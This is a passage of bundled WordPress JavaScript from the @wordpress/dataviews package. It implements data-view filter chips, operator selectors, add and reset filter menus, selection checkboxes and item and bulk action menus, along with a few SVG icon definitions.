className: "dataviews-filters__search-widget-filter-combobox__icon",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: library_search
})
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ComboboxList, {
className: "dataviews-filters__search-widget-filter-combobox-list",
alwaysVisible: true,
children: [matches.map(element => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ComboboxItem, {
resetValueOnSelect: false,
value: element.value,
className: "dataviews-filters__search-widget-listitem",
hideOnClick: false,
setValueOnClick: false,
focusOnHover: true,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
className: "dataviews-filters__search-widget-listitem-check",
children: [filter.singleSelection && currentValue === element.value && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: radioCheck
}), !filter.singleSelection && currentValue.includes(element.value) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: library_check
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxItemValue, {
className: "dataviews-filters__search-widget-filter-combobox-item-value",
value: element.label
}), !!element.description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-filters__search-widget-listitem-description",
children: element.description
})]
})]
}, element.value);
}), !matches.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
children: (0,external_wp_i18n_namespaceObject.__)('No results found')
})]
})]
});
}
function SearchWidget(props) {
const Widget = props.filter.elements.length > 10 ? search_widget_ComboboxList : ListBox;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Widget, {
...props
});
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/filter-summary.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
const ENTER = 'Enter';
const SPACE = ' ';
/**
* Internal dependencies
*/
const FilterText = ({
activeElements,
filterInView,
filter
}) => {
if (activeElements === undefined || activeElements.length === 0) {
return filter.name;
}
const filterTextWrappers = {
Name: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-filters__summary-filter-text-name"
}),
Value: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-filters__summary-filter-text-value"
})
};
if (filterInView?.operator === constants_OPERATOR_IS_ANY) {
return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is any: Admin, Editor". */
(0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is any: </Name><Value>%2$s</Value>'), filter.name, activeElements.map(element => element.label).join(', ')), filterTextWrappers);
}
if (filterInView?.operator === constants_OPERATOR_IS_NONE) {
return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is none: Admin, Editor". */
(0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is none: </Name><Value>%2$s</Value>'), filter.name, activeElements.map(element => element.label).join(', ')), filterTextWrappers);
}
if (filterInView?.operator === OPERATOR_IS_ALL) {
return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is all: Admin, Editor". */
(0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is all: </Name><Value>%2$s</Value>'), filter.name, activeElements.map(element => element.label).join(', ')), filterTextWrappers);
}
if (filterInView?.operator === OPERATOR_IS_NOT_ALL) {
return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is not all: Admin, Editor". */
(0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is not all: </Name><Value>%2$s</Value>'), filter.name, activeElements.map(element => element.label).join(', ')), filterTextWrappers);
}
if (filterInView?.operator === constants_OPERATOR_IS) {
return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is: Admin". */
(0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is: </Name><Value>%2$s</Value>'), filter.name, activeElements[0].label), filterTextWrappers);
}
if (filterInView?.operator === constants_OPERATOR_IS_NOT) {
return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. 3: Filter value. e.g.: "Author is not: Admin". */
(0,external_wp_i18n_namespaceObject.__)('<Name>%1$s is not: </Name><Value>%2$s</Value>'), filter.name, activeElements[0].label), filterTextWrappers);
}
return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name e.g.: "Unknown status for Author". */
(0,external_wp_i18n_namespaceObject.__)('Unknown status for %1$s'), filter.name);
};
function OperatorSelector({
filter,
view,
onChangeView
}) {
const operatorOptions = filter.operators?.map(operator => ({
value: operator,
label: OPERATORS[operator]?.label
}));
const currentFilter = view.filters?.find(_filter => _filter.field === filter.field);
const value = currentFilter?.operator || filter.operators[0];
return operatorOptions.length > 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 2,
justify: "flex-start",
className: "dataviews-filters__summary-operators-container",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "dataviews-filters__summary-operators-filter-name",
children: filter.name
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
label: (0,external_wp_i18n_namespaceObject.__)('Conditions'),
value: value,
options: operatorOptions,
onChange: newValue => {
var _view$filters, _view$filters2;
const operator = newValue;
const newFilters = currentFilter ? [...((_view$filters = view.filters) !== null && _view$filters !== void 0 ? _view$filters : []).map(_filter => {
if (_filter.field === filter.field) {
return {
..._filter,
operator
};
}
return _filter;
})] : [...((_view$filters2 = view.filters) !== null && _view$filters2 !== void 0 ? _view$filters2 : []), {
field: filter.field,
operator,
value: undefined
}];
onChangeView({
...view,
page: 1,
filters: newFilters
});
},
size: "small",
__nextHasNoMarginBottom: true,
hideLabelFromVision: true
})]
});
}
function FilterSummary({
addFilterRef,
openedFilter,
...commonProps
}) {
const toggleRef = (0,external_wp_element_namespaceObject.useRef)(null);
const {
filter,
view,
onChangeView
} = commonProps;
const filterInView = view.filters?.find(f => f.field === filter.field);
const activeElements = filter.elements.filter(element => {
if (filter.singleSelection) {
return element.value === filterInView?.value;
}
return filterInView?.value?.includes(element.value);
});
const isPrimary = filter.isPrimary;
const hasValues = filterInView?.value !== undefined;
const canResetOrRemove = !isPrimary || hasValues;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
defaultOpen: openedFilter === filter.field,
contentClassName: "dataviews-filters__summary-popover",
popoverProps: {
placement: 'bottom-start',
role: 'dialog'
},
onClose: () => {
toggleRef.current?.focus();
},
renderToggle: ({
isOpen,
onToggle
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "dataviews-filters__summary-chip-container",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
text: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Filter name. */
(0,external_wp_i18n_namespaceObject.__)('Filter by: %1$s'), filter.name.toLowerCase()),
placement: "top",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('dataviews-filters__summary-chip', {
'has-reset': canResetOrRemove,
'has-values': hasValues
}),
role: "button",
tabIndex: 0,
onClick: onToggle,
onKeyDown: event => {
if ([ENTER, SPACE].includes(event.key)) {
onToggle();
event.preventDefault();
}
},
"aria-pressed": isOpen,
"aria-expanded": isOpen,
ref: toggleRef,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FilterText, {
activeElements: activeElements,
filterInView: filterInView,
filter: filter
})
})
}), canResetOrRemove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
text: isPrimary ? (0,external_wp_i18n_namespaceObject.__)('Reset') : (0,external_wp_i18n_namespaceObject.__)('Remove'),
placement: "top",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("button", {
className: dist_clsx('dataviews-filters__summary-chip-remove', {
'has-values': hasValues
}),
onClick: () => {
onChangeView({
...view,
page: 1,
filters: view.filters?.filter(_filter => _filter.field !== filter.field)
});
// If the filter is not primary and can be removed, it will be added
// back to the available filters from `Add filter` component.
if (!isPrimary) {
addFilterRef.current?.focus();
} else {
// If is primary, focus the toggle button.
toggleRef.current?.focus();
}
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: close_small
})
})
})]
}),
renderContent: () => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 0,
justify: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(OperatorSelector, {
...commonProps
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SearchWidget, {
...commonProps
})]
});
}
});
}
;// ./node_modules/@wordpress/dataviews/build-module/lock-unlock.js
/**
* WordPress dependencies
*/
const {
lock: lock_unlock_lock,
unlock: lock_unlock_unlock
} = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/dataviews');
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/add-filter.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Menu: add_filter_Menu
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function AddFilterMenu({
filters,
view,
onChangeView,
setOpenedFilter,
triggerProps
}) {
const inactiveFilters = filters.filter(filter => !filter.isVisible);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(add_filter_Menu, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.TriggerButton, {
...triggerProps
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.Popover, {
children: inactiveFilters.map(filter => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.Item, {
onClick: () => {
setOpenedFilter(filter.field);
onChangeView({
...view,
page: 1,
filters: [...(view.filters || []), {
field: filter.field,
value: undefined,
operator: filter.operators[0]
}]
});
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.ItemLabel, {
children: filter.name
})
}, filter.field);
})
})]
});
}
function AddFilter({
filters,
view,
onChangeView,
setOpenedFilter
}, ref) {
if (!filters.length || filters.every(({
isPrimary
}) => isPrimary)) {
return null;
}
const inactiveFilters = filters.filter(filter => !filter.isVisible);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddFilterMenu, {
triggerProps: {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
accessibleWhenDisabled: true,
size: "compact",
className: "dataviews-filters-button",
variant: "tertiary",
disabled: !inactiveFilters.length,
ref: ref
}),
children: (0,external_wp_i18n_namespaceObject.__)('Add filter')
},
filters,
view,
onChangeView,
setOpenedFilter
});
}
/* harmony default export */ const add_filter = ((0,external_wp_element_namespaceObject.forwardRef)(AddFilter));
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/reset-filters.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function ResetFilter({
filters,
view,
onChangeView
}) {
const isPrimary = field => filters.some(_filter => _filter.field === field && _filter.isPrimary);
const isDisabled = !view.search && !view.filters?.some(_filter => _filter.value !== undefined || !isPrimary(_filter.field));
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
disabled: isDisabled,
accessibleWhenDisabled: true,
size: "compact",
variant: "tertiary",
className: "dataviews-filters__reset-button",
onClick: () => {
onChangeView({
...view,
page: 1,
search: '',
filters: []
});
},
children: (0,external_wp_i18n_namespaceObject.__)('Reset')
});
}
;// ./node_modules/@wordpress/dataviews/build-module/utils.js
/**
* Internal dependencies
*/
function sanitizeOperators(field) {
let operators = field.filterBy?.operators;
// Assign default values.
if (!operators || !Array.isArray(operators)) {
operators = [constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE];
}
// Make sure only valid operators are used.
operators = operators.filter(operator => ALL_OPERATORS.includes(operator));
// Do not allow mixing single & multiselection operators.
// Remove multiselection operators if any of the single selection ones is present.
if (operators.includes(constants_OPERATOR_IS) || operators.includes(constants_OPERATOR_IS_NOT)) {
operators = operators.filter(operator => [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT].includes(operator));
}
return operators;
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function useFilters(fields, view) {
return (0,external_wp_element_namespaceObject.useMemo)(() => {
const filters = [];
fields.forEach(field => {
if (!field.elements?.length) {
return;
}
const operators = sanitizeOperators(field);
if (operators.length === 0) {
return;
}
const isPrimary = !!field.filterBy?.isPrimary;
filters.push({
field: field.id,
name: field.label,
elements: field.elements,
singleSelection: operators.some(op => [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT].includes(op)),
operators,
isVisible: isPrimary || !!view.filters?.some(f => f.field === field.id && ALL_OPERATORS.includes(f.operator)),
isPrimary
});
});
// Sort filters by primary property. We need the primary filters to be first.
// Then we sort by name.
filters.sort((a, b) => {
if (a.isPrimary && !b.isPrimary) {
return -1;
}
if (!a.isPrimary && b.isPrimary) {
return 1;
}
return a.name.localeCompare(b.name);
});
return filters;
}, [fields, view]);
}
function FiltersToggle({
filters,
view,
onChangeView,
setOpenedFilter,
isShowingFilter,
setIsShowingFilter
}) {
const buttonRef = (0,external_wp_element_namespaceObject.useRef)(null);
const onChangeViewWithFilterVisibility = (0,external_wp_element_namespaceObject.useCallback)(_view => {
onChangeView(_view);
setIsShowingFilter(true);
}, [onChangeView, setIsShowingFilter]);
const visibleFilters = filters.filter(filter => filter.isVisible);
const hasVisibleFilters = !!visibleFilters.length;
if (filters.length === 0) {
return null;
}
const addFilterButtonProps = {
label: (0,external_wp_i18n_namespaceObject.__)('Add filter'),
'aria-expanded': false,
isPressed: false
};
const toggleFiltersButtonProps = {
label: (0,external_wp_i18n_namespaceObject._x)('Filter', 'verb'),
'aria-expanded': isShowingFilter,
isPressed: isShowingFilter,
onClick: () => {
if (!isShowingFilter) {
setOpenedFilter(null);
}
setIsShowingFilter(!isShowingFilter);
}
};
const buttonComponent = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
ref: buttonRef,
className: "dataviews-filters__visibility-toggle",
size: "compact",
icon: library_funnel,
...(hasVisibleFilters ? toggleFiltersButtonProps : addFilterButtonProps)
});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataviews-filters__container-visibility-toggle",
children: !hasVisibleFilters ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddFilterMenu, {
filters: filters,
view: view,
onChangeView: onChangeViewWithFilterVisibility,
setOpenedFilter: setOpenedFilter,
triggerProps: {
render: buttonComponent
}
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FilterVisibilityToggle, {
buttonRef: buttonRef,
filtersCount: view.filters?.length,
children: buttonComponent
})
});
}
function FilterVisibilityToggle({
buttonRef,
filtersCount,
children
}) {
// Focus the `add filter` button when unmounts.
(0,external_wp_element_namespaceObject.useEffect)(() => () => {
buttonRef.current?.focus();
}, [buttonRef]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [children, !!filtersCount && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-filters-toggle__count",
children: filtersCount
})]
});
}
function Filters() {
const {
fields,
view,
onChangeView,
openedFilter,
setOpenedFilter
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const addFilterRef = (0,external_wp_element_namespaceObject.useRef)(null);
const filters = useFilters(fields, view);
const addFilter = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter, {
filters: filters,
view: view,
onChangeView: onChangeView,
ref: addFilterRef,
setOpenedFilter: setOpenedFilter
}, "add-filter");
const visibleFilters = filters.filter(filter => filter.isVisible);
if (visibleFilters.length === 0) {
return null;
}
const filterComponents = [...visibleFilters.map(filter => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FilterSummary, {
filter: filter,
view: view,
onChangeView: onChangeView,
addFilterRef: addFilterRef,
openedFilter: openedFilter
}, filter.field);
}), addFilter];
filterComponents.push(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResetFilter, {
filters: filters,
view: view,
onChangeView: onChangeView
}, "reset-filters"));
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
style: {
width: 'fit-content'
},
className: "dataviews-filters__container",
wrap: true,
children: filterComponents
});
}
/* harmony default export */ const dataviews_filters = ((0,external_wp_element_namespaceObject.memo)(Filters));
;// ./node_modules/@wordpress/icons/build-module/library/block-table.js
/**
* WordPress dependencies
*/
const blockTable = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z"
})
});
/* harmony default export */ const block_table = (blockTable);
;// ./node_modules/@wordpress/icons/build-module/library/category.js
/**
* WordPress dependencies
*/
const category = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",
fillRule: "evenodd",
clipRule: "evenodd"
})
});
/* harmony default export */ const library_category = (category);
;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets-rtl.js
/**
* WordPress dependencies
*/
const formatListBulletsRTL = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z"
})
});
/* harmony default export */ const format_list_bullets_rtl = (formatListBulletsRTL);
;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets.js
/**
* WordPress dependencies
*/
const formatListBullets = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"
})
});
/* harmony default export */ const format_list_bullets = (formatListBullets);
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-selection-checkbox/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function DataViewsSelectionCheckbox({
selection,
onChangeSelection,
item,
getItemId,
titleField,
disabled
}) {
const id = getItemId(item);
const checked = !disabled && selection.includes(id);
// Fallback label to ensure accessibility
const selectionLabel = titleField?.getValue?.({
item
}) || (0,external_wp_i18n_namespaceObject.__)('(no title)');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
className: "dataviews-selection-checkbox",
__nextHasNoMarginBottom: true,
"aria-label": selectionLabel,
"aria-disabled": disabled,
checked: checked,
onChange: () => {
if (disabled) {
return;
}
onChangeSelection(selection.includes(id) ? selection.filter(itemId => id !== itemId) : [...selection, id]);
}
});
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-item-actions/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Menu: dataviews_item_actions_Menu,
kebabCase: dataviews_item_actions_kebabCase
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function ButtonTrigger({
action,
onClick,
items
}) {
const label = typeof action.label === 'string' ? action.label : action.label(items);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
label: label,
icon: action.icon,
disabled: !!action.disabled,
accessibleWhenDisabled: true,
isDestructive: action.isDestructive,
size: "compact",
onClick: onClick
});
}
function MenuItemTrigger({
action,
onClick,
items
}) {
const label = typeof action.label === 'string' ? action.label : action.label(items);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Item, {
disabled: action.disabled,
onClick: onClick,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.ItemLabel, {
children: label
})
});
}
function ActionModal({
action,
items,
closeModal
}) {
const label = typeof action.label === 'string' ? action.label : action.label(items);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
title: action.modalHeader || label,
__experimentalHideHeader: !!action.hideModalHeader,
onRequestClose: closeModal,
focusOnMount: "firstContentElement",
size: "medium",
overlayClassName: `dataviews-action-modal dataviews-action-modal__${dataviews_item_actions_kebabCase(action.id)}`,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action.RenderModal, {
items: items,
closeModal: closeModal
})
});
}
function ActionsMenuGroup({
actions,
item,
registry,
setActiveModalAction
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Group, {
children: actions.map(action => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MenuItemTrigger, {
action: action,
onClick: () => {
if ('RenderModal' in action) {
setActiveModalAction(action);
return;
}
action.callback([item], {
registry
});
},
items: [item]
}, action.id))
});
}
function ItemActions({
item,
actions,
isCompact
}) {
const registry = (0,external_wp_data_namespaceObject.useRegistry)();
const {
primaryActions,
eligibleActions
} = (0,external_wp_element_namespaceObject.useMemo)(() => {
// If an action is eligible for all items, doesn't need
// to provide the `isEligible` function.
const _eligibleActions = actions.filter(action => !action.isEligible || action.isEligible(item));
const _primaryActions = _eligibleActions.filter(action => action.isPrimary && !!action.icon);
return {
primaryActions: _primaryActions,
eligibleActions: _eligibleActions
};
}, [actions, item]);
if (isCompact) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CompactItemActions, {
item: item,
actions: eligibleActions,
isSmall: true,
registry: registry
});
}
// If all actions are primary, there is no need to render the dropdown.
if (primaryActions.length === eligibleActions.length) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrimaryActions, {
item: item,
actions: primaryActions,
registry: registry
});
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 1,
justify: "flex-end",
className: "dataviews-item-actions",
style: {
flexShrink: '0',
width: 'auto'
},
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrimaryActions, {
item: item,
actions: primaryActions,
registry: registry
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CompactItemActions, {
item: item,
actions: eligibleActions,
registry: registry
})]
});
}
function CompactItemActions({
item,
actions,
isSmall,
registry
}) {
const [activeModalAction, setActiveModalAction] = (0,external_wp_element_namespaceObject.useState)(null);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_item_actions_Menu, {
placement: "bottom-end",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: isSmall ? 'small' : 'compact',
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
accessibleWhenDisabled: true,
disabled: !actions.length,
className: "dataviews-all-actions-button"
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Popover, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionsMenuGroup, {
actions: actions,
item: item,
registry: registry,
setActiveModalAction: setActiveModalAction
})
})]
}), !!activeModalAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
action: activeModalAction,
items: [item],
closeModal: () => setActiveModalAction(null)
})]
});
}
function PrimaryActions({
item,
actions,
registry
}) {
const [activeModalAction, setActiveModalAction] = (0,external_wp_element_namespaceObject.useState)(null);
if (!Array.isArray(actions) || actions.length === 0) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [actions.map(action => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ButtonTrigger, {
action: action,
onClick: () => {
if ('RenderModal' in action) {
setActiveModalAction(action);
return;
}
action.callback([item], {
registry
});
},
items: [item]
}, action.id)), !!activeModalAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
action: activeModalAction,
items: [item],
closeModal: () => setActiveModalAction(null)
})]
});
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-bulk-actions/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function ActionWithModal({
action,
items,
ActionTriggerComponent
}) {
const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const actionTriggerProps = {
action,
onClick: () => {
setIsModalOpen(true);
},
items
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionTriggerComponent, {
...actionTriggerProps
}), isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
action: action,
items: items,
closeModal: () => setIsModalOpen(false)
})]
});
}
